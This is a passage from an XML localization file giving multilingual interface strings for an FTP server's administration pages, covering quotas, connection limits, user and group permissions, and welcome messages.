<de>Starte Kredits</de>
<es>Créditos iniciales</es>
<fr>Crédits de départ</fr>
<it>Crediti iniziali</it>
<ru>Начальные кредиты</ru>
<ja>開始クレジット</ja>
<zh>启动信用</zh>
<ko>인증 시작</ko>
<en-gb>Starting credits</en-gb>
<hu>Induló kreditek</hu>
<pt-br>Iniciando créditos</pt-br>
<nl>Begincredits</nl>
</msg>
<msg name="RATIOUNIT">
<en>(KBytes)</en>
<de>(kBytes)</de>
<es>(KBytes)</es>
<fr>(KOctets)</fr>
<it>(KB)</it>
<ru>(Кбайты)</ru>
<ja>(KB)</ja>
<zh>(KB)</zh>
<ko>(KB)</ko>
<en-gb>(KBytes)</en-gb>
<hu>(KByte)</hu>
<pt-br>(KBytes)</pt-br>
<nl>(KB)</nl>
</msg>
<msg name="RATIOIPEXP">
<en>Per IP ratio expiration time</en>
<de>Per IP Ration Ablaufzeit</de>
<es>Tiempo máximo de ratio por IP</es>
<fr>Temps d'expiration du ratio par IP</fr>
<it>Scadenza rapporto per IP</it>
<ru>Время истечения отношения для каждого IP-адрес</ru>
<ja>IP 比率あたりの有効期限</ja>
<zh>每个 IP 比例的截止时间</zh>
<ko>IP 단위 비율 만료 시간</ko>
<en-gb>Per IP ratio expiry time</en-gb>
<hu>Az IP arány lejárati ideje szerint</hu>
<pt-br>Tempo de expiração de taxa por IP</pt-br>
<nl>Verlooptijd voor verhouding per IP</nl>
</msg>
<msg name="USERDISABLED">
<en>Disabled on</en>
<de>Deaktiviert am</de>
<es>Deshabilitado</es>
<fr>Non habilité à</fr>
<it>Disattivato il</it>
<ru>Отключен</ru>
<ja>無効</ja>
<zh>已禁用</zh>
<ko>사용 안 함 위치</ko>
<en-gb>Disabled on</en-gb>
<hu>Kikapcsolva ekkor:</hu>
<pt-br>Desabilitado em</pt-br>
<nl>Uitgeschakeld op</nl>
</msg>
<msg name="USERNOTDISABLED">
<en>Enabled on</en>
<de>Aktiviert am</de>
<es>Habilitado</es>
<fr>Habilité à</fr>
<it>Attivato il</it>
<ru>Включен</ru>
<ja>有効</ja>
<zh>已启用</zh>
<ko>사용 위치</ko>
<en-gb>Enabled on</en-gb>
<hu>Bekapcsolva ekkor:</hu>
<pt-br>Habilitado em</pt-br>
<nl>Ingeschakeld op</nl>
</msg>
<msg name="USERDISABLED.NOTE">
<en>Select the servers from the left column that you wish the user not to be disabled on, and the ones from the right that you wish the user to become disabled on.</en>
<de>Wählen sie die Server in der linken Spalte, auf denen der Benutzer aktiviert sein soll. Wählen sie die Server in der rechten Spalte auf denen der Benutzer deaktiviert sein soll.</de>
<es>Selecciones los servidores de la columna izquierda en los que quiera que el usuario no esté deshabilitado y los de la derecha en los que sí quiera que esté deshabilitado.</es>
<fr>Sélectionnez dans la colonne de gauche les serveurs que vous voulez que l'utilisateur soit habilité, et dans la colonne de droite ceux dont vous ne voulez pas qu'il soit habilité.</fr>
<it>Selezionare dalla colonna sinistra i server sui quali si desidera che l'utente non venga disattivato e dalla colonna destra quelli sui quali si desidera che l'utente venga disattivato.</it>
<ru>Выберите серверы из левого столбца, на которых данный пользователь не будет отключен, и группы из правого столбца, на которых пользователь будет отключен.</ru>
<ja>このユーザを無効にしないサーバーは左の列から、このユーザを無効にするサーバーは右の列から選択します。</ja>
<zh>从左列选择您希望不禁用用户的服务器,从右列选择您希望禁用用户的服务器。</zh>
<ko>왼쪽 열에서 사용자를 비활성화하지 않을 서버를 선택하고 오른쪽 열에서 사용자를 비활성화할 서버를 선택합니다.</ko>
<en-gb>Select the servers from the left column that you wish the user not to be disabled on and the ones from the right that you wish the user to become disabled on.</en-gb>
<hu>Válassza ki a bal oldali oszlopból azokat a kiszolgálókat, amelyeken felhasználókat nem kívánja letiltani, és a jobb oldali oszlopból azokat, amelyeken a felhasználókat le kívánja tiltani.</hu>
<pt-br>Selecione os servidores da coluna da esquerda dos quais não deseja que os usuários sejam desabilitados e os da coluna da direita dos quais deseja que eles se tornem desabilitados.</pt-br>
<nl>Selecteer in de linkerkolom de servers waarop de gebruiker niet mag worden uitgeschakeld en selecteer in de rechterkolom de servers waarop de gebruiker moet worden uitgeschakeld.</nl>
</msg>
<msg name="HOME">
<en>Home/quota settings</en>
<de>Home/Quota Einstellungen</de>
<es>Configuración principal/cupo</es>
<fr>Paramètres de Home/quota</fr>
<it>Impostazioni home/limite</it>
<ru>Домашний/Параметры квоты</ru>
<ja>ホームと割り当て領域の設定</ja>
<zh>主目录/配额设置</zh>
<ko>홈/할당량 설정</ko>
<en-gb>Home/quota settings</en-gb>
<hu>Home/Kvóta beállítások</hu>
<pt-br>Configurações de cota/iniciais</pt-br>
<nl>Instellingen voor basismap/quotum</nl>
</msg>
<msg name="NEWHOME">
<en>New</en>
<de>Neu</de>
<es>Nuevo</es>
<fr>Nouveau</fr>
<it>Nuovo</it>
<ru>Создать</ru>
<ja>新</ja>
<zh>新</zh>
<ko>새로 만들기</ko>
<en-gb>New</en-gb>
<hu>Új</hu>
<pt-br>Novo</pt-br>
<nl>Nieuw</nl>
</msg>
<msg name="HOMEPATH">
<en>Home directory path</en>
<de>Pfad zum Home-Verzeichnis</de>
<es>Ruta del directorio principal</es>
<fr>Chemin de Home directory</fr>
<it>Percorso home directory</it>
<ru>Путь к домашнему каталогу</ru>
<ja>ホーム ディレクトリ パス</ja>
<zh>主目录路径</zh>
<ko>홈 디렉터리 경로</ko>
<en-gb>Home directory path</en-gb>
<hu>Kezdő könyvtár elérési útja</hu>
<pt-br>Caminho do diretório inicial</pt-br>
<nl>Pad van basismap</nl>
</msg>
<msg name="QUOTA">
<en>Quota</en>
<de>Volumenbegrenzung</de>
<es>Cupo</es>
<fr>Quota</fr>
<it>Limite</it>
<ru>Квота</ru>
<ja>割り当て領域</ja>
<zh>配额</zh>
<ko>할당량</ko>
<en-gb>Quota</en-gb>
<hu>Kvóta</hu>
<pt-br>Cota</pt-br>
<nl>Quotum</nl>
</msg>
<msg name="QUOTAUNIT">
<en>(MBytes)</en>
<de>(MBytes)</de>
<es>(MBytes)</es>
<fr>(MOctets)</fr>
<it>(MB)</it>
<ru>(Мбайт)</ru>
<ja>(MB)</ja>
<zh>(MB)</zh>
<ko>(MB)</ko>
<en-gb>(MBytes)</en-gb>
<hu>(MByte)</hu>
<pt-br>(MBytes)</pt-br>
<nl>(MB)</nl>
</msg>
<msg name="HOMESERVER">
<en>On server</en>
<de>An Server</de>
<es>En servidor</es>
<fr>Sur le serveur</fr>
<it>Su server</it>
<ru>На сервере</ru>
<ja>サーバー上</ja>
<zh>服务器上</zh>
<ko>서버</ko>
<en-gb>On server</en-gb>
<hu>A kiszolgálón</hu>
<pt-br>No servidor</pt-br>
<nl>Op server</nl>
</msg>
<msg name="HOME.NOTE">
<en>To add a new entry, select the server from the list and type in the path (virtual or fully qualified) and click the Apply button. To remove an existing entry, select the entry from the list on the left and click Apply. If you leave the quota field empty or enter '0', there will not be any limitations on disk usage in the user's home directory.</en>
<de>Um einen neuen Eintrag anzulegen, selektieren Sie den Server von der Liste und geben Sie den Pfad an ( virtuell oder voll qualifiziert ) und drücken Sie "Übernehmen". Um einen existierenden Eintrag zu löschen selektieren Sie den Eintrag von der linken Liste und drücken "Übernehmen". Wenn Sie das Quota Feld frei lassen oder "0" eintragen haben die Benutzer Zugriff auf die volle Kapazität des Laufwerkes, auf dem die Home-Verzeichnisse der Benutzer angelegt wurde.</de>
<es>Para agregar una nueva entrada, seleccione el servidor de la lista y escriba la ruta (virtual o totalmente cualificada) y haga clic en el botón Aplicar. Para eliminar una entrada existente, elija la entrada de la lista de la izquierda y haga clic en Aplicar. Si deja el campo de cupo vacío o introduce "0", no habrá ningún límite de uso del disco en el directorio principal del usuario.</es>
<fr>Pour ajouter une nouvelle entrée, choisir le serveur à partir de la liste et saisir le chemin (virtuel ou entièrement qualifié) et cliquer le bouton Appliquer. Pour enlever une entrée existante, choisir l'entrée à partir de la liste du côté gauche et cliquez pour Appliquer. Si vous laissez le quota du champ vide ou entrez '0 ', il n'y aura aucune limitation sur l'utilisation de disque dans le répertoire local de l'utilisateur.</fr>
<it>Per aggiungere una nuova voce, selezionare il server dall'elenco, digitare il percorso (virtuale o completo) e fare clic sul pulsante Applica. Per rimuovere una voce esistente, selezionarla dall'elenco a sinistra e fare clic su Applica. Se si lascia vuoto il campo del limite o si immette '0', non verranno impostate limitazioni per l'uso del disco nella home directory dell'utente.</it>
<ru>Чтобы добавить новую запись, выберите сервер из списка и введите путь (виртуальный или полный) и нажмите кнопку "Применить". Чтобы удалить существующую запись, выберите запись из списка слева и щелкните "Изменить". Если оставить поле квоты пустым или ввести "0", то в домашнем каталоге пользователя никакие ограничения на использование диска не накладываются.</ru>
<ja>新しいエントリを追加するには、リストからサーバーを選択し、パス (仮想または完全修飾) を入力して、[適用] ボタンをクリックします。既存のエントリを削除するには、左のリストからエントリを選択し、[適用] をクリックします。割り当て領域フィールドを空欄のままにするか 「0」を入力した場合は、このユーザのホーム ディレクトリのディスク使用量の制限がなくなります。</ja>
<zh>要添加新条目,请从列表中选择服务器并键入路径(虚拟路径或全限定路径),然后单击“应用”按钮。要删除现有条目,请从列表的左侧选择该条目,然后单击“应用”。如果您保留“配额”字段为空或输入“0”,则用户主目录中没有任何对磁盘使用量的限制。</zh>
<ko>새 항목을 추가하려면 목록에서 서버를 선택하고 경로(가상 또는 완전)를 입력한 후 "적용" 버튼을 클릭하십시오. 기존 항목을 제거하려면 왼쪽 목록에서 항목을 선택하고 "적용"을 클릭하십시오. 할당량 필드를 비워 두거나 '0'을 입력하면 사용자의 홈 디렉터리에는 디스크 사용량에 대한 제한이 없습니다.</ko>
<en-gb>To add a new entry, select the server from the list, type in the path (virtual or fully qualified) and click the Apply button. To remove an existing entry, select the entry from the list on the left and click Apply. If you leave the quota field empty or enter '0', there will not be any limitations on disk usage in the user's home directory.</en-gb>
<hu>Új bejegyzés hozzáadásához válassza ki a listából a kiszolgálót, és írja be az elérési utat (virtuális vagy teljesen kvalifikált), majd kattintson az Alkalmaz gombra. Egy meglévő bejegyzés eltávolításához válassza ki a bejegyzést a bal oldali listából és kattintson az Alkalmaz gombra. Ha a kvóta mezőt üresen hagyja, vagy '0'-át ír bele, akkor nem lesz semmilyen korlátozás a lemezhasználatra nézve a felhasználó kezdőkönyvtárában.</hu>
<pt-br>Para adicionar uma nova entrada, selecione o servidor na lista e digite no caminho (virtual ou totalmente qualificado), clicando no botão Aplicar. Para remover uma entrada existente, selecione-a na lista da esquerda e clique em Apply. Se deixar o campo de cotas em branco ou digitar '0', não haverá limitações de utilização de disco no diretório inicial do usuário.</pt-br>
<nl>Als u een nieuw item wilt toevoegen, selecteert u de server in de lijst, voert u het (virtuele of volledige) pad in en klikt u op de knop "Toepassen". Als u een bestaand item wilt verwijderen, selecteert u het in de linkerlijst en klikt u op de knop "Toepassen". Als u in het veld Quotum niets of de waarde '0' invoert, worden geen beperkingen opgelegd op het schijfgebruik voor de basismap van de gebruiker.</nl>
</msg>
<msg name="MAXCS">
<en>Maximum number of connections</en>
<de>Maximale Anzahl von Verbindungen</de>
<es>Número máximo de conexiones</es>
<fr>Nombre maximum de connexions</fr>
<it>Numero massimo di connessioni</it>
<ru>Максимальное число подключений</ru>
<ja>接続の最大数</ja>
<zh>最大连接数</zh>
<ko>최대 연결 수</ko>
<en-gb>Maximum number of connections</en-gb>
<hu>Kapcsolatok maximális száma</hu>
<pt-br>Número máximo de conexões</pt-br>
<nl>Maximumaantal verbindingen</nl>
</msg>
<msg name="NEWMAXC">
<en>New</en>
<de>Neu</de>
<es>Nuevo</es>
<fr>Nouveau</fr>
<it>Nuovo</it>
<ru>Создать</ru>
<ja>新</ja>
<zh>新</zh>
<ko>새로 만들기</ko>
<en-gb>New</en-gb>
<hu>Új</hu>
<pt-br>Novo</pt-br>
<nl>Nieuw</nl>
</msg>
<msg name="MAXC">
<en>Count</en>
<de>Zähler</de>
<es>Conteo</es>
<fr>Compte</fr>
<it>Conteggio</it>
<ru>Подсчет</ru>
<ja>カウント</ja>
<zh>计数</zh>
<ko>개수</ko>
<en-gb>Count</en-gb>
<hu>Szám</hu>
<pt-br>Contagem</pt-br>
<nl>Aantal</nl>
</msg>
<msg name="MAXCPERIP">
<en>Per IP</en>
<de>Per IP</de>
<es>Por IP</es>
<fr>Par IP</fr>
<it>Per IP</it>
<ru>На каждый IP-адрес</ru>
<ja>IP あたり</ja>
<zh>每个 IP</zh>
<ko>IP 단위</ko>
<en-gb>Per IP</en-gb>
<hu>IP címenként</hu>
<pt-br>Por IP</pt-br>
<nl>Per IP</nl>
</msg>
<msg name="MAXCSERVER">
<en>On server</en>
<de>Am Server</de>
<es>En servidor</es>
<fr>Sur serveur</fr>
<it>Su server</it>
<ru>На сервере</ru>
<ja>サーバー上</ja>
<zh>服务器上</zh>
<ko>서버</ko>
<en-gb>On server</en-gb>
<hu>A kiszolgálón</hu>
<pt-br>No servidor</pt-br>
<nl>Op server</nl>
</msg>
<msg name="MAXC.NOTE">
<en>To delete an entry, select it in the list and click the Apply button. To add a new entry, enter the desired values for maximum connections and click the Apply button. If you enter '0' to any setting then that limitation will not be enforced.</en>
<de>Um einen Eintrag zu löschen, selektieren Sie Ihn aus der Liste und drücken Sie "Übernehmen". Um einen neuen Eintrag anzulegen bestimmen Sie den Wert für die Anzahl der max. zugelassenen Verbindungen und drücken "Übernehmen". Wenn Sie in einer Einstellung "0" eingeben, dann wird die entsprechende Einstellung nicht ausgeführt.</de>
<es>Para eliminar una entrada, selecciónela en la lista y haga clic en Aplicar. Para agregar una nueva entrada, introduzca los valores deseados de conexiones máximas y haga clic en Aplicar. Si escribe "0" en cualquiera de los campos, la limitación no surtirá efecto.</es>
<fr>Pour supprimer une entrée, la choisir dans la liste et cliquer le bouton Appliquer. Pour ajouter une nouvelle entrée, entrer les valeurs désirées pour les le maximum de connexion et cliquer le bouton Appliquer. Si vous entrez '0' dans tous les paramètres alors la limitation ne sera pas appliquée.</fr>
<it>Per eliminare una voce, selezionarla dall'elenco e fare clic sul pulsante Applica. Per aggiungere una nuova voce, immettere i valori desiderati per il numero massimo di connessioni e fare clic sul pulsante Applica. Se si immette '0' in un'impostazione, la limitazione non verrà imposta.</it>
<ru>Чтобы удалить запись, выберите ее из списка и нажмите кнопку "Применить". Чтобы добавить новую запись, введите нужные значения для ограничений максимального числа подключений и нажмите кнопку "Применить". Если указать "0" в качестве значения какого-либо параметра, то данное ограничение применяться не будет.</ru>
<ja>エントリを削除するには、リストから選択して [適用] ボタンをクリックします。新しいエントリを追加するには、最大接続数に希望値を入力して [適用] ボタンをクリックします。設定のいずれかに「0」を入力した場合は、その制限は強制されません。</ja>
<zh>要删除条目,请在列表中选择该条目,然后单击“应用”按钮。要添加新条目,请输入所需的最大连接数值,然后单击“应用”按钮。如果对任意设置输入“0”,则该限制将不是强制性限制。</zh>
<ko>항목을 삭제하려면 목록에서 항목을 선택하고 "적용" 버튼을 클릭하십시오. 새 항목을 추가하려면 최대 연결 수로 원하는 값을 입력하고 "적용" 버튼을 클릭하십시오. '0'을 설정으로 입력하면 해당 제한은 강제로 적용되지 않습니다.</ko>
<en-gb>To delete an entry, select it in the list and click the Apply button. To add a new entry, enter the desired values for maximum connections and click the Apply button. If you enter '0' to any setting then that limitation will not be enforced.</en-gb>
<hu>Egy bejegyzés törléséhez válassza ki a listáról, majd kattintson az Alkalmazás gombra. Új bejegyzés hozzáadásához írja be a kívánt értékeket a maximális kapcsolatszámhoz, majd kattintson az Alkalmaz gombra. Ha '0'-át ad meg bármelyik beállításnál, akkor az adott korlátozás nem lép érvénybe.</hu>
<pt-br>Para excluir uma entrada, selecione-a na lista e clique no botão Aplicar. Para adicionar uma nova entrada, digite os valores desejados para o máximo de conexões e clique no botão Aplicar. Se digitar '0' em qualquer configuração, a limitação não será garantida.</pt-br>
<nl>Als u een item wilt verwijderen, selecteert u het in de lijst en klikt u op de knop "Toepassen". Als u een nieuw item wilt toevoegen, voert u de gewenste waarden voor het maximumaantal verbindingen in en klikt u op de knop "Toepassen". Als u voor een instelling de waarde '0' invoert, wordt hiervoor geen beperking opgelegd.</nl>
</msg>
<msg name="USERWELCOME">
<en>Welcome message</en>
<de>Begrüßungstext</de>
<es>Mensaje de bienvenida</es>
<fr>Message de bienvenue</fr>
<it>Messaggio di benvenuto</it>
<ru>Сообщения приветствия</ru>
<ja>ウェルカム メッセージ</ja>
<zh>欢迎信息</zh>
<ko>시작 메시지</ko>
<en-gb>Welcome message</en-gb>
<hu>Üdvözlő üzenet</hu>
<pt-br>Mensagem de boas vindas</pt-br>
<nl>Welkomstbericht</nl>
</msg>
<msg name="USERPERMISSIONS">
<en>Permissions for FTP user "%FTPUNAME"</en>
<de>Berechtigungen für den FTP Benutzer "%FTPUNAME"</de>
<es>Permisos del servidor FTP "%FTPUNAME"</es>
<fr>Permissions pour l'utilisateur FTP "%FTPUNAME"</fr>
<it>Autorizzazioni per l'utente FTP "%FTPUNAME"</it>
<ru>Разрешения FTP-пользователя "%FTPUNAME"</ru>
<ja>FTP ユーザ "%FTPUNAME" への権限</ja>
<zh>FTP 用户“%FTPUNAME”的权限</zh>
<ko>FTP 사용자 "%FTPUNAME"에 대한 권한</ko>
<en-gb>Permissions for FTP user "%FTPUNAME"</en-gb>
<hu>FTP felhasználó engedélyei "%FTPUNAME"</hu>
<pt-br>Permissões do usuário de FTP "%FTPUNAME"</pt-br>
<nl>Machtigingen voor FTP-gebruiker "%FTPUNAME"</nl>
</msg>
<msg name="USERPERMS">
<en>Permissions on server "%PERM.SNAME"</en>
<de>Berechtigungen auf dem Server "%PERM.SNAME"</de>
<es>Permisos en el servidor "%PERM.SNAME"</es>
<fr>Permissions sur le serveur "%PERM.SNAME"</fr>
<it>Autorizzazioni sul server "%PERM.SNAME"</it>
<ru>Разрешения на сервере "%PERM.SNAME"</ru>
<ja>サーバー "%PERM.SNAME" 上での権限</ja>
<zh>针对服务器“%PERM.SNAME”的权限</zh>
<ko>"%PERM.SNAME" 서버에 대한 권한</ko>
<en-gb>Permissions on server "%PERM.SNAME"</en-gb>
<hu>Engedélyek a "%PERM.SNAME" kiszolgálón</hu>
<pt-br>Permissões do servidor %PERM.SNAME</pt-br>
<nl>Machtigingen op server "%PERM.SNAME"</nl>
</msg>
<msg name="PERMROOT">
<en>Root</en>
<de>Wurzel</de>
<es>Raíz</es>
<fr>Racine (root)</fr>
<it>Radice</it>
<ru>Корень</ru>
<ja>ルート</ja>
<zh>根目录</zh>
<ko>루트</ko>
<en-gb>Root</en-gb>
<hu>Gyökér</hu>
<pt-br>Raiz</pt-br>
<nl>Hoofdmap</nl>
</msg>
<msg name="PERMHOME">
<en>Home</en>
<de>Heim</de>
<ja>ホーム</ja>
<es>Inicio</es>
<fr>Home</fr>
<it>Home</it>
<ru>Домашняя страница</ru>
<zh>主目录</zh>
<ko>홈</ko>
<en-gb>Home</en-gb>
<hu>Otthon</hu>
<pt-br>Página inicial</pt-br>
<nl>Basismap</nl>
</msg>
<msg name="PERMQUOTA">
<en>Quota</en>
<de>Volumenbegrenzung</de>
<es>Cupo</es>
<fr>Quota</fr>
<it>Limite</it>
<ru>Квота</ru>
<ja>割り当て領域</ja>
<zh>配额</zh>
<ko>할당량</ko>
<en-gb>Quota</en-gb>
<hu>Kvóta</hu>
<pt-br>Cota</pt-br>
<nl>Quotum</nl>
</msg>
<msg name="PERMQUOTAUSED">
<en>Used</en>
<de>Benutzt</de>
<es>Utilizado</es>
<fr>Utilisé</fr>
<it>Utilizzato</it>
<ru>Использовано</ru>
<ja>使用済み</ja>
<zh>已使用</zh>
<ko>사용됨</ko>
<en-gb>Used</en-gb>
<hu>Használatban</hu>
<pt-br>Usado</pt-br>
<nl>Gebruikt</nl>
</msg>
<msg name="PERMFROMUSER">
<en>[%FTPUNAME]</en>
<de>[%FTPUNAME]</de>
<es>[%FTPUNAME]</es>
<fr>[%FTPUNAME]</fr>
<it>[%FTPUNAME]</it>
<ru>[%FTPUNAME]</ru>
<ja>[%FTPUNAME]</ja>
<zh>[%FTPUNAME]</zh>
<ko>[%FTPUNAME]</ko>
<en-gb>[%FTPUNAME]</en-gb>
<hu>[%FTPUNAME]</hu>
<pt-br>[%FTPUNAME]</pt-br>
<nl>[%FTPUNAME]</nl>
</msg>
<msg name="PERMPATH">
<en>Path</en>
<de>Pfad</de>
<es>Ruta</es>
<fr>Chemin</fr>
<it>Percorso</it>
<ru>Путь</ru>
<ja>パス</ja>
<zh>路径</zh>
<ko>경로</ko>
<en-gb>Path</en-gb>
<hu>Elérési út</hu>
<pt-br>Caminho</pt-br>
<nl>Pad</nl>
</msg>
<msg name="PERMFROM">
<en>Inherited from</en>
<de>Übernommen von</de>
<es>Heredado de</es>
<fr>Hérité de</fr>
<it>Ereditata da</it>
<ru>Наследуется из</ru>
<ja>継承元</ja>
<zh>继承自</zh>
<ko>상속됨</ko>
<en-gb>Inherited from</en-gb>
<hu>Örökölve innen:</hu>
<pt-br>Herdado de</pt-br>
<nl>Overgenomen van</nl>
</msg>
<msg name="PERMFLAGS">
<en>Permissions</en>
<de>Berechtigungen</de>
<es>Permisos</es>
<fr>Permissions</fr>
<it>Autorizzazioni</it>
<ru>Разрешения</ru>
<ja>権限</ja>
<zh>权限</zh>
<ko>권한</ko>
<en-gb>Permissions</en-gb>
<hu>Engedélyek</hu>
<pt-br>Permissões</pt-br>
<nl>Machtigingen</nl>
</msg>
<!-- ratio types -->
<cat name="RATIO">
<msg name="0">
<en>(None)</en>
<de>(kein)</de>
<es>(Ninguno)</es>
<fr>(Aucun)</fr>
<it>(Nessuno)</it>
<ru>(Отсутствует)</ru>
<ja>(なし)</ja>
<zh>(无)</zh>
<ko>(없음)</ko>
<en-gb>(None)</en-gb>
<hu>(Nincs)</hu>
<pt-br>(Nenhum)</pt-br>
<nl>(geen)</nl>
</msg>
<msg name="1">
<en>Per session</en>
<de>Pro Sitzung</de>
<es>Por sesión</es>
<fr>Par session</fr>
<it>Per sessione</it>
<ru>На каждый сеанс</ru>
<ja>セッションあたり</ja>
<zh>每个会话</zh>
<ko>세션당</ko>
<en-gb>Per session</en-gb>
<hu>Munkamenetenként</hu>
<pt-br>Por sessão</pt-br>
<nl>Per sessie</nl>
</msg>
<msg name="2">
<en>Per user</en>
<de>Pro Benutzer</de>
<es>Por usuario</es>
<fr>Par utilisateur</fr>
<it>Per utente</it>
<ru>На каждого пользователя</ru>
<ja>ユーザあたり</ja>
<zh>每个用户</zh>
<ko>사용자당</ko>
<en-gb>Per user</en-gb>
<hu>Felhasználónként</hu>
<pt-br>Por usuário</pt-br>
<nl>Per gebruiker</nl>
</msg>
<msg name="3">
<en>Per IP address</en>
<de>Pro IP-Adresse</de>
<es>Por dirección IP</es>
<fr>Par adresse IP</fr>
<it>Per indirizzo IP</it>
<ru>На каждый IP-адрес</ru>
<ja>IP アドレスあたり</ja>
<zh>每个 IP 地址</zh>
<ko>IP 주소당</ko>
<en-gb>Per IP address</en-gb>
<hu>IP címenként</hu>
<pt-br>Por endereço IP</pt-br>
<nl>Per IP-adres</nl>
</msg>
</cat>
<!-- group config pages -->
<msg name="GROUPNAME">
<en>Name</en>
<de>Name</de>
<es>Nombre</es>
<fr>Nom</fr>
<it>Nome</it>
<ru>Имя</ru>
<ja>名前</ja>
<zh>名称</zh>
<ko>이름</ko>
<en-gb>Name</en-gb>
<hu>Név</hu>
<pt-br>Nome</pt-br>
<nl>Naam</nl>
</msg>
<msg name="GROUPDEL">
<en>Delete</en>
<de>Löschen</de>
<es>Eliminar</es>
<fr>Supprimer</fr>
<it>Elimina</it>
<ru>Удалить</ru>
<ja>削除</ja>
<zh>删除</zh>
<ko>삭제</ko>
<en-gb>Delete</en-gb>
<hu>Törlés</hu>
<pt-br>Excluir</pt-br>
<nl>Verwijderen</nl>
</msg>
<msg name="CGROUPDEL">
<en>Delete FTP group [%FTPGROUP.NAME] ?</en>
<de>FTP Gruppe [%FTPGROUP.NAME] löschen ?</de>
<es>¿Eliminar el grupo FTP [%FTPGROUP.NAME]?</es>
<fr>Supprimer le groupe FTP [ %FTPGROUP.NAME ] ?</fr>
<it>Eliminare il gruppo FTP [%FTPGROUP.NAME]?</it>
<ru>Удалить FTP-группу [%FTPGROUP.NAME]?</ru>
<ja>FTP グループ [%FTPGROUP.NAME] を削除しますか?</ja>
<zh>是否删除 FTP 组 [%FTPGROUP.NAME]?</zh>
<ko>FTP 그룹 [%FTPGROUP.NAME] 삭제?</ko>
<en-gb>Delete FTP group [%FTPGROUP.NAME] ?</en-gb>
<hu>Törli az FTP csoportot [%FTPGROUP.NAME]  ?</hu>
<pt-br>Excluir grupo de FTP [%FTPGROUP.NAME] ?</pt-br>
<nl>FTP-groep verwijderen [%FTPGROUP.NAME] ?</nl>
</msg>
<msg name="ADDGROUP">
<en>New FTP group</en>
<de>Neue FTP Gruppe</de>
<es>Nuevo grupo FTP</es>
<fr>Nouveau groupe FTP</fr>
<it>Nuovo gruppo FTP</it>
<ru>Создать FTP-группу</ru>
<ja>新しい FTP グループ</ja>
<zh>新建 FTP 组</zh>
<ko>새 FTP 그룹</ko>
<en-gb>New FTP group</en-gb>
<hu>Új FTP csoport</hu>
<pt-br>Novo grupo de FTP</pt-br>
<nl>Nieuwe FTP-groep</nl>
</msg>
<msg name="CFGGROUP">
<en>Settings for FTP group "%FTPGNAME"</en>
<de>Einstellungen für die FTP Gruppe "%FTPGNAME"</de>
<es>Configuración del grupo FTP "%FTPGNAME"</es>
<fr>Paramètres pour le groupe FTP "%FTPGNAME" de ftp</fr>
<it>Impostazioni per il gruppo FTP "%FTPGNAME"</it>
<ru>Настройки FTP-группы "%FTPGNAME"</ru>
<ja>グループ "%FTPGNAME" の設定</ja>
<zh>FTP 组“%FTPGNAME”的设置</zh>
<ko>FTP 그룹 "%FTPGNAME"에 대한 설정</ko>
<en-gb>Settings for FTP group "%FTPGNAME"</en-gb>
<hu>FTP csoport beállításai "%FTPGNAME"</hu>
<pt-br>Configurações do grupo de FTP "%FTPGNAME"</pt-br>
<nl>Instellingen voor FTP-groep "%FTPGNAME"</nl>
</msg>
<msg name="GROUPACC">
<en>Permissions</en>
<de>Berechtigungen</de>
<es>Permisos</es>
<fr>Permisssions</fr>
<it>Autorizzazioni</it>
<ru>Разрешения</ru>
<ja>権限</ja>
<zh>权限</zh>
<ko>권한</ko>
<en-gb>Permissions</en-gb>
<hu>Engedélyek</hu>
<pt-br>Permissões</pt-br>
<nl>Machtigingen</nl>
</msg>
<msg name="GROUPNAME">
<en>Name</en>
<de>Name</de>
<es>Nombre</es>
<fr>Nom</fr>
<it>Nome</it>
<ru>Имя</ru>
<ja>名前</ja>
<zh>名称</zh>
<ko>이름</ko>
<en-gb>Name</en-gb>
<hu>Név</hu>
<pt-br>Nome</pt-br>
<nl>Naam</nl>
</msg>
<msg name="GROUPWELCOME">
<en>Welcome message (messages specified for users override this)</en>
<de>Begrüßungstext (Nachrichten, die für Benutzer spezifiziert wurden, überschreiben dies)</de>
<es>Mensaje de bienvenida (los mensajes especificados por usuarios tienen prioridad sobre éste)</es>
<fr>Message de bienvenue (à mon qu'il y ait d'autres messages spécifiés pour l'utilisateur)</fr>
<it>Messaggio di benvenuto (ignorato dai messaggi specifici per gli utenti)</it>
<ru>Сообщение приветствия (указываемые пользователями сообщения для замены данного)</ru>
<ja>ウェルカム メッセージ (これをオーバーライドするユーザに特定されたメッセージ)</ja>
<zh>欢迎信息(为用户指定的信息将替代此信息)</zh>
<ko>시작 메시지(사용자에 대해 지정된 메시지는 이 메시지를 무시함)</ko>
<en-gb>Welcome message (messages specified for users override this)</en-gb>
<hu>Üdvözlő üzenet (a felhasználókhoz megadott üzenetek felülbírálják ezt)</hu>
<pt-br>Mensagem de boas vindas (mensagens especificadas para os usuários substituem esta)</pt-br>
<nl>Welkomstbericht (berichten die specifiek voor gebruikers zijn ingesteld, krijgen voorrang op dit bericht)</nl>
</msg>
<msg name="GROUPMEMBER">
<en>Member of</en>
<de>Mitglied von</de>
<es>Miembro de</es>
<fr>Membre de</fr>
<it>Membro di</it>
<ru>Член</ru>
<ja>次のメンバーです</ja>
<zh>隶属于</zh>
<ko>구성원</ko>
<en-gb>Member of</en-gb>
<hu>Tagja a következőnek:</hu>
<pt-br>Membro de</pt-br>
<nl>Lid van</nl>
</msg>
<msg name="GROUPNOTMEMBER">
<en>Not member of</en>
<de>Nicht Mitglied von</de>
<es>No miembro de</es>
<fr>Pas membre de</fr>
<it>Non membro di</it>
<ru>Не член</ru>
<ja>次のメンバーではありません</ja>
<zh>不隶属于</zh>
<ko>구성원 아님</ko>
<en-gb>Not member of</en-gb>
<hu>Nem tagja a következőnek:</hu>
<pt-br>Não é membro de</pt-br>
<nl>Geen lid van</nl>
</msg>
<msg name="GROUPMEMBER.NOTE">
<en>Select the groups from the left column that you wish this group not to be member of, and the ones from the right that you wish it to become member of.</en>
<de>Wählen sie die Gruppen aus der linken Spalte, in der sie nicht Mitglied sein sollen. Wähle sie die Gruppen aus der rechten Spalte in der sie Mitglied sein sollen.</de>
<es>Seleccione los grupos de la columna izquierda a los que no desee que pertenezca este grupo y los de la derecha a los que sí desea que pertenezca.</es>
<fr>Sélectionnez dans la colonne de gauche les groupes dont vous ne voulez pas que ce groupe soit memebre, et ceux dans la colonne de droite dont vous voulez qu'il soit membre.</fr>
<it>Selezionare dalla colonna sinistra i gruppi di cui non si desidera che il gruppo sia membro e dalla colonna destra quelli dei quali si desidera che il gruppo diventi membro.</it>
<ru>Выберите группы из левого столбца, членом которых данная группа не будет, и группы из правого столбца, членом которых будет данная группа.</ru>
<ja>グループの所属先としないグループは左の列から、グループの所属先とするグループは右の列から選択します。</ja>
